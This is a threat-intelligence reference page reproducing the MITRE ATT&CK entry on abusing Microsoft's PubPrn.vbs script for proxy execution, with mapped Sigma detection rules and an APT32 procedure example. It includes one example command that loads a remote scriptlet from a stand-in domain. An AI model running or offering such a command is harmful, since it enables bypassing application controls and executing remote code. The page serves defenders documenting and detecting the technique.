PubPrn

T1216.001

Sub-technique of T1216 System Script Proxy Execution.View on attack.mitre.org

About this technique

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Detection rules2

Rules on DetectionCode tagged with T1216.001.

Sigma2

RuleLevelLog source
Launch-VsDevShell.PS1 Proxy Executionmediumwindows / process_creation
Pubprn.vbs Proxy Executionmediumwindows / process_creation

Splunk0

No Splunk rules are mapped to this technique yet.

Groups1

Software0

None recorded.

Campaigns0

None recorded.

Procedure examples1

Groups1

Used byProcedure example
GroupAPT32

APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.

References2

  1. Enigma0x3 PubPrn Bypass Open source
    Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.
  2. pubprn Open source
    Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.

Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.